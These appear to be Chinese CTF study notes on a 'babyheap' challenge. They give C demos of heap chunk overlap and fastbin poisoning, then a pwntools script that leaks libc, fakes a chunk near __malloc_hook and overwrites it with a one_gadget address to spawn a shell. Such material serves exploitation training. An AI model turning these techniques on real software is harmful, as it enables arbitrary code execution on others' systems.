babyheap学习总结

#include <stdlib.h>
#include <stdio.h>

int main()
{
    int i;
    char data[100];
    memset(data,'\x00',sizeof(data));
    char *A = malloc(0x30);
    char *B = malloc(0x160);
    char *C = malloc(0xf0);

    free(B);
    free(A);

    malloc(0x38);

    while(i < 0x38)
        data[i++] = 'a';
    data[i] = '\x00';

    memcpy(A,data,0x39);

    malloc(0x80);

    malloc(0x30);

    free(B);

    free(C);

    char *D = malloc(0x260);

    printf("info_leak_libc:%p\n",*(unsigned long *)(D+0x90));

    return 0;
}

int main(void)
{


    void *chunk1;
    void *chunk_a;

    chunk1=malloc(0x60);

    free(chunk1);

    *(long long *)chunk1=0x7ffff7dd1b05;
    malloc(0x60);
    chunk_a=malloc(0x60);
    return 0;
}

from pwn import *

#context.terminal = ['tmux', 'splitw', '-h']

context.log_level = 'debug'

def Allocate(size):
    p.recvuntil("Command: ")
    p.sendline("1")
    p.recvuntil("Size:")
    p.sendline(str(size))
#    index = p.recvuntil("1. Allocate").split(' ')[3].split('\n')[0]
    index =1
    return index

def Fill(index,size,content):
    p.recvuntil("Command: ")
    p.sendline("2")
    p.recvuntil("Index:")
    p.sendline(str(index))
    p.recvuntil("Size:")
    p.sendline(str(size))
    p.recvuntil("Content:")
    p.sendline(content)



def Free(index):
    p.recvuntil("Command: ")
    p.sendline("3")
    p.recvuntil("Index:")
    p.sendline(str(index))

def Dump(index):
    p.recvuntil("Command: ")
    p.sendline("4")
    p.recvuntil("Index:")
    p.sendline(str(index))
    p.recvuntil("Content: \n")
    data = p.recvline()
    return data

def Exit():
    pass


if __name__=='__main__':

    env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.so.6_b86ec517ee44b2d6c03096e0518c72a1")}

    p = process("./babyheap",env=env)
#    libc = ELF("./libc.so.6.my")
    libc = ELF("./libc.so.6_b86ec517ee44b2d6c03096e0518c72a1")
    libc.symbols['one_gadget'] = 0x41374
    libc_offset = 0x3a5678
 
    index0 = Allocate(16)
    index1 = Allocate(480)
    index2 = Allocate(512)
    index3 = Allocate(512)

    #gdb.attach(p)
    Free(1)

    payload = 'a'*24 + '\x30'
    Fill(0,25,payload)

    index4 = Allocate(128) #index:1
    index5 = Allocate(96) #index:4

    Free(1)
    Free(2)

    Allocate(128) #index:1
    data = Dump(4)
    data = u64(data[:8])
    print hex(data)
    libc.address = data - libc_offset
	
    payload = 'b'*0x80+p64(0x90)+p64(0x70)
    #payload = flat('b'*0x80,0x90,0x70)
    Fill(1,len(payload),payload)
    Free(4) #释放了0x70的堆块
     
  
    payload = 'c'*0x80+p64(0x90)+p64(0x70)
    payload += p64(libc.symbols['__malloc_hook']-0x23)

    #错位构造出一个0x000000000000007f

    Fill(1,len(payload),payload); #修改0x70的堆块的fd值
    Allocate(96) #index:2 重新申请到0x70的堆块，此时calloc会擦除fd和bk的数据，但是之前的fd会被保存在main_arena上
    Allocate(96) #index:4 根据伪造的fd地址，申请到__malloc_hook-0x23的位置

    gdb.attach(p)

    payload = 'd'*19 + p64(libc.symbols['one_gadget'])#覆盖__malloc_hook为/bin/sh的地址，0x23 -0x10（header）= 0x13 = 19,所以覆盖19个'd'后，再覆盖就是__malloc_hook的地址了。
    Fill(4,len(payload),payload)

    Allocate(96)
    p.interactive()